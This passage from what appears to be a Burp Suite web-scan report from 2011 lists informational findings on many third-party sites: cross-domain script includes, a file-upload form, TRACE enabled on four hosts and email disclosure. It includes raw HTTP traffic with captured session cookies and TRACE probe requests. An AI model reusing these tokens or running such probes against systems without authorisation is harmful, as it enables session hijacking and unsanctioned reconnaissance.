...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.83. http://www.smtp.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smtp.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js

Request

Response

16.84. http://www.smtp.com/service-info previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smtp.com
Path:	/service-info

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js

Request

GET /service-info HTTP/1.1
Host: www.smtp.com
Proxy-Connection: keep-alive
Referer: http://www.smtp.com/?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=173546785.673105426.1316204863.1316204863.1316204863.1; __utmb=173546785.1.10.1316204863; __utmc=173546785; __utmz=173546785.1316204863.1.1.utmgclid=CJWNm_2JoqsCFSg1gwodCS0_kQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 15:27:23 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
ETag: "ae793c46f39e963615691864e2e39b58"
X-Runtime: 2506
Set-Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd; path=/; HttpOnly
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 28193

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Co
...[SNIP]...
<link href="/stylesheets/retail/main.css?1268498319" media="screen" rel="stylesheet" type="text/css" />

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...

16.85. https://www.smtp.com/signup previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.smtp.com
Path:	/signup

Issue detail

The response dynamically includes the following script from another domain:

https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js

Request

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 15:29:30 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
ETag: "1a9dd22850c1a278f175fb6813a39fd7"
X-Runtime: 3732
Set-Cookie: _global_session=BAh7CDoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOhBfY3NyZl90b2tlbiIxcVNXak9kck5TK2dKaGYwUEtoUjQ4UGpNTGozeC9RejlGUjM0a0xZTEpzND06D3Nlc3Npb25faWQiJTgyMzI5Y2M4NmE0M2FjMGE5MzQ1MzQ0NzM4ZGJmNWU1--9d864407dc9132ffb7b5e9c9928c23d380537ed3; path=/; HttpOnly
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 44737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Co
...[SNIP]...
<link href="/stylesheets/retail/main.css?1268498319" media="screen" rel="stylesheet" type="text/css" />

<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...

16.86. http://www.socketlabs.com/lpages/od-smtp-service previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.socketlabs.com
Path:	/lpages/od-smtp-service

Issue detail

The response dynamically includes the following script from another domain:

http://static.woopra.com/js/woopra.v2.js

Request

Response

16.87. http://www.stumbleupon.com/badge/embed/1/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.stumbleupon.com
Path:	/badge/embed/1/

Issue detail

The response dynamically includes the following script from another domain:

http://cdn.stumble-upon.com/js/badge_su.js?v=20110909-00

Request

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Set-Cookie: su_bc=4; expires=Sun, 16-Oct-2011 17:55:17 GMT; path=/; domain=.stumbleupon.com
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 1191
Date: Fri, 16 Sep 2011 17:55:17 GMT
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="http://www
...[SNIP]...
<link rel="stylesheet" href="http://cdn.stumble-upon.com/css/badges_su.css?v=20110909-00" type="text/css" media="screen, projection" />

                       <script type="text/javascript" src="http://cdn.stumble-upon.com/js/badge_su.js?v=20110909-00"></script>
...[SNIP]...

16.88. http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thewhir.com
Path:	/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://dnn506yrbagrg.cloudfront.net/pages/scripts/0011/0609.js
http://platform.linkedin.com/in.js
http://platform.twitter.com/widgets.js
https://apis.google.com/js/plusone.js

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:00:20 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Content-Type: text/html
Content-Length: 38267

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" xmlns:fb="http://www.facebook.co
...[SNIP]...
</script>
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...
</div>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
<li class="linkedin"><script type="text/javascript" src="http://platform.linkedin.com/in.js"></script>
...[SNIP]...


<script type="text/javascript" src="http://dnn506yrbagrg.cloudfront.net/pages/scripts/0011/0609.js"> </script>
...[SNIP]...

16.89. http://www.ubm.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
https://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js

Request

GET / HTTP/1.1
Host: www.ubm.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 19840
Content-Type: text/html; charset=utf-8
Expires: -1
X-Powered-By: ASP.NET
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:43:51 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" >
<head>
...[SNIP]...

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js " language="javascript"></script>
...[SNIP]...


<script language="JavaScript" type="text/javascript" src="https://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js"></script>
...[SNIP]...

16.90. http://www.ubm.com/en/people/jobshop.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/people/jobshop.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
https://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js

Request

GET /en/people/jobshop.aspx HTTP/1.1
Host: www.ubm.com
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll&query=help%20contact
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: www-ubm-com#ip3_device={FE5D7FDF-89C0-4D99-9AA3-B5FBD009C9F3}; ASP.NET_SessionId=lrutmeuvvoi00fjnhwegnc3x; SERVERID=GS2-WEB01; __utma=101304133.2104120162.1316209479.1316209479.1316209479.1; __utmb=101304133.4.10.1316209479; __utmc=101304133; __utmz=101304133.1316209479.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); www-ubm-com#lang=en

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 19161
Content-Type: text/html; charset=utf-8
Expires: -1
X-Powered-By: ASP.NET
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:45:07 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" >
<head>
...[SNIP]...

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js " language="javascript"></script>
...[SNIP]...


<script language="JavaScript" type="text/javascript" src="https://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js"></script>
...[SNIP]...

16.91. http://www.ubm.com/en/people/ubm-people.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/people/ubm-people.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
https://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js

Request

GET /en/people/ubm-people.aspx HTTP/1.1
Host: www.ubm.com
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/ubm-businesses.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: www-ubm-com#ip3_device={FE5D7FDF-89C0-4D99-9AA3-B5FBD009C9F3}; ASP.NET_SessionId=lrutmeuvvoi00fjnhwegnc3x; SERVERID=GS2-WEB01; __utma=101304133.2104120162.1316209479.1316209479.1316209479.1; __utmb=101304133.2.10.1316209479; __utmc=101304133; __utmz=101304133.1316209479.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); www-ubm-com#lang=en

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 29881
Content-Type: text/html; charset=utf-8
Expires: -1
X-Powered-By: ASP.NET
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:44:24 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" >
<head>
...[SNIP]...

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js " language="javascript"></script>
...[SNIP]...


<script language="JavaScript" type="text/javascript" src="https://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js"></script>
...[SNIP]...

16.92. http://www.ubm.com/en/site-services/search/search-result.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/site-services/search/search-result.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
https://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js

Request

Response

16.93. http://www.ubm.com/en/stylesheets/.~/media/Images/U/United-Business-Media-Plc/Images/business-banner/cursors/cursor_arrow_left.cur previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/stylesheets/.~/media/Images/U/United-Business-Media-Plc/Images/business-banner/cursors/cursor_arrow_left.cur

Issue detail

The response dynamically includes the following scripts from other domains:

https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
https://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js

Request

GET /en/stylesheets/.~/media/Images/U/United-Business-Media-Plc/Images/business-banner/cursors/cursor_arrow_left.cur HTTP/1.1
Host: www.ubm.com
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/ubm-businesses.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: www-ubm-com#ip3_device={FE5D7FDF-89C0-4D99-9AA3-B5FBD009C9F3}; ASP.NET_SessionId=lrutmeuvvoi00fjnhwegnc3x; SERVERID=GS2-WEB01; __utma=101304133.2104120162.1316209479.1316209479.1316209479.1; __utmb=101304133.1.10.1316209479; __utmc=101304133; __utmz=101304133.1316209479.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); www-ubm-com#lang=en

Response

HTTP/1.1 404 File not found
Cache-Control: private
Content-Length: 13416
Content-Type: text/html; charset=utf-8
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 16:44:21 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" >
<head>
...[SNIP]...

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js " language="javascript"></script>
...[SNIP]...


<script language="JavaScript" type="text/javascript" src="https://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js"></script>
...[SNIP]...

16.94. http://www.ubm.com/en/ubm-businesses.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/ubm-businesses.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
https://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js

Request

GET /en/ubm-businesses.aspx HTTP/1.1
Host: www.ubm.com
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: www-ubm-com#ip3_device={FE5D7FDF-89C0-4D99-9AA3-B5FBD009C9F3}; ASP.NET_SessionId=lrutmeuvvoi00fjnhwegnc3x; SERVERID=GS2-WEB01; __utma=101304133.2104120162.1316209479.1316209479.1316209479.1; __utmb=101304133.1.10.1316209479; __utmc=101304133; __utmz=101304133.1316209479.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); www-ubm-com#lang=en

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 26741
Content-Type: text/html; charset=utf-8
Expires: -1
X-Powered-By: ASP.NET
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:44:15 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" >
<head>
...[SNIP]...

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js " language="javascript"></script>
...[SNIP]...


<script language="JavaScript" type="text/javascript" src="https://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js"></script>
...[SNIP]...

16.95. http://www.youtube.com/embed/lIEF1xCAvxo previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/embed/lIEF1xCAvxo

Issue detail

The response dynamically includes the following script from another domain:

http://s.ytimg.com/yt/jsbin/www-embed_core_module-vfls7Qr1c.js

Request

Response

17. File upload functionality previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mediacdn.disqus.com
Path:	/1316112938/build/system/upload.html

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://mediacdn.disqus.com/1316112938/build/system/upload.html

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Issue background

File upload functionality is commonly associated with a number of vulnerabilities, including:

File path traversal
Persistent cross-site scripting
Placing of other client-executable code into the domain
Transmission of viruses and other malware
Denial of service

You should review the file upload functionality to understand its purpose, and establish whether uploaded content is ever returned to other application users, either through their normal usage of the application or by being fed a specific link by an attacker.

Some factors to consider when evaluating the security impact of this functionality include:

Whether uploaded content can subsequently be downloaded via a URL within the application.
What Content-type and Content-disposition headers the application returns when the file's content is downloaded.
Whether it is possible to place executable HTML/JavaScript into the file, which executes when the file's contents are viewed.
Whether the application performs any filtering on the file extension or MIME type of the uploaded file.
Whether it is possible to construct a hybrid file containing both executable and non-executable content, to bypass any content filters - for example, a file containing both a GIF image and a Java archive (known as a GIFAR file).
What location is used to store uploaded content, and whether it is possible to supply a crafted filename to escape from this location.
Whether archive formats such as ZIP are unpacked by the application.
How the application handles attempts to upload very large files, or decompression bomb files.

Issue remediation

File upload functionality is not straightforward to implement securely. Some recommendations to consider in the design of this functionality include:

Use a server-generated filename if storing uploaded files on disk.
Inspect the content of uploaded files, and enforce a whitelist of accepted, non-executable content types. Additionally, enforce a blacklist of common executable formats, to hinder hybrid file attacks.
Enforce a whitelist of accepted, non-executable file extensions.
If uploaded files are downloaded by users, supply an accurate non-generic Content-type header, and also a Content-disposition header which specifies that browsers should handle the file as an attachment.
Enforce a size limit on uploaded files (for defence-in-depth, this can be implemented both within application code and in the web server's configuration.
Reject attempts to upload archive formats such as ZIP.

Request

GET /1316112938/build/system/upload.html HTTP/1.1
Host: mediacdn.disqus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: disqus_unique=608614822849; __qca=P0-943627109-1315055753168; sessionid=ebeeeac597d2aa02500a0fdc973b4e14; __utma=113869458.1840189074.1315055753.1315760571.1316054545.12; __utmz=113869458.1316054545.12.12.utmcsr=gossipcop.com|utmccn=(referral)|utmcmd=referral|utmcct=/scarlett-johansson-naked-pics-leak-nude-pictures-photos-leaked-scarlet-johanson-johansen-hacked-real-fake/

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Thu, 15 Sep 2011 21:14:28 GMT
P3P: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM"
Content-Type: text/html
Vary: Accept-Encoding
Content-Length: 13745
X-Varnish: 2164040316 2164038518
Cache-Control: max-age=2517718
Expires: Sat, 15 Oct 2011 21:17:22 GMT
Date: Fri, 16 Sep 2011 17:55:24 GMT
Connection: close

<html>
<head>
<meta charset="utf-8">
<title></title>
<script>document.domain = 'disqus.com';</script>

<style type="text/css">
html,body,div,span,applet,object,ifram
...[SNIP]...

<input type="file" name="attachment" onchange="mediaUploadRpc.onUploadStart();this.parentNode.submit();" />
<input type="hidden" name="id" value="" />
...[SNIP]...

18. TRACE method is enabled previous next
There are 4 instances of this issue:

https://livechat.iadvize.com/
https://login.secureserver.net/
http://mailjet.com/
http://www.authsmtp.com/

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

18.1. https://livechat.iadvize.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://livechat.iadvize.com
Path:	/

Request

TRACE / HTTP/1.0
Host: livechat.iadvize.com
Cookie: c782cf59ae45a110

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 19:07:56 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: livechat.iadvize.com
Cookie: c782cf59ae45a110; 5502_idzp=%7B%22origin_site%22%3A%22http%3A%5C%2F%5C%2Fwww.google.com%5C%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dsmtp+server%22%2C%22origin%22%3A%22search+engine%22%2C%22refengine%22%3A%22Goo
...[SNIP]...

18.2. https://login.secureserver.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://login.secureserver.net
Path:	/

Request

TRACE / HTTP/1.0
Host: login.secureserver.net
Cookie: 23db99283763a0ef

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:08:48 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: login.secureserver.net
Cookie: 23db99283763a0ef

18.3. http://mailjet.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mailjet.com
Path:	/

Request

TRACE / HTTP/1.0
Host: mailjet.com
Cookie: 8e1319bd44003b83

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:44:19 GMT
Server: MJWS/1.0
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: mailjet.com
Cookie: 8e1319bd44003b83; affiliate=US-EN-smtp; __utma=176514170.637056612.1316204845.1316204845.1316204845.1; __utmb=176514170.1.10.1316204845; __utmc=176514170; __utmz=176514170.1316204845.1.1.utmgclid=CKqV0feJoqsCFQdzgwod6
...[SNIP]...

18.4. http://www.authsmtp.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.authsmtp.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.authsmtp.com
Cookie: 481f69b92853cb8c

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:26:37 GMT
Server: Apache/1.3.42 (Unix) PHP/5.3.6
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Cookie: 481f69b92853cb8c
Host: www.authsmtp.com

19. Email addresses disclosed previous next
There are 65 instances of this issue:

http://bstats.adbrite.com/click/bstats.gif
http://bstats.adbrite.com/click/bstats.gif
http://help.securepaynet.net/javascripts/lib/controls.js
http://httpd.apache.org/
http://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js
https://idp.godaddy.com/login.aspx
https://idp.godaddy.com/retrieveaccount.aspx
https://idp.godaddy.com/shopper_new.aspx
http://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js
http://labs.opera.com/
http://livechat.iadvize.com/chat_init.js
https://login.secureserver.net/
http://media.ubm.com/
https://my.opera.com/community/signup/
https://mya.godaddy.com/Default.aspx
https://mya.godaddy.com/myrenewals/myRenewals.aspx
http://sendgrid.com/features
http://sendgrid.com/pricing.html
https://sendgrid.com/user/signup/package/44
http://shoprunner.force.com/content/JsContentElementsDRGS
https://support.socketlabs.com/
https://support.socketlabs.com/index.php/Core/Default/Compressor/js/jquery:jqueryplugins:jqueryui:colorpicker:coresc
http://thehackernews.com/feeds/posts/summary
http://w.sharethis.com/button/buttons.js
http://wms.assoc-amazon.com/js/nifty.js
http://www.altn.com/Training/
http://www.apache.org/
http://www.blackbaud.com/
http://www.bookkeepers.com.au/components/com_sobi2/includes/js/advajax.js
http://www.godaddy.com/
http://www.godaddy.com/domains/search.aspx
http://www.godaddy.com/gdshop/site_search.asp
http://www.godaddy.com/offers/hot-deals2.aspx
http://www.godaddy.com/productadvisor/pastart.aspx
http://www.google.com/search
http://www.imailserver.com/support/
http://www.port25.com/corporate/corp_contact.html
http://www.port25.com/products/prod_eval.html
http://www.powermta.port25.com/
http://www.powermta.port25.com/download-a-white-paper/
http://www.powermta.port25.com/smtp-server-software-2/
http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif
http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif
http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg
http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif
http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png
http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png
http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg
http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif
http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js
http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js
http://www.powermta.port25.com/wp-content/themes/powermta1/style.css
http://www.smtp.com/
http://www.smtp.com/javascripts/jqModal.js
http://www.smtp.com/stylesheets/jqModal.css
https://www.smtp.com/javascripts/jqModal.js
https://www.smtp.com/stylesheets/jqModal.css
http://www.snapengage.com/snapengage-sendgrid.js
http://www.socketlabs.com/home/company
http://www.thewhir.com/common/ga_social_tracking.js

Issue background

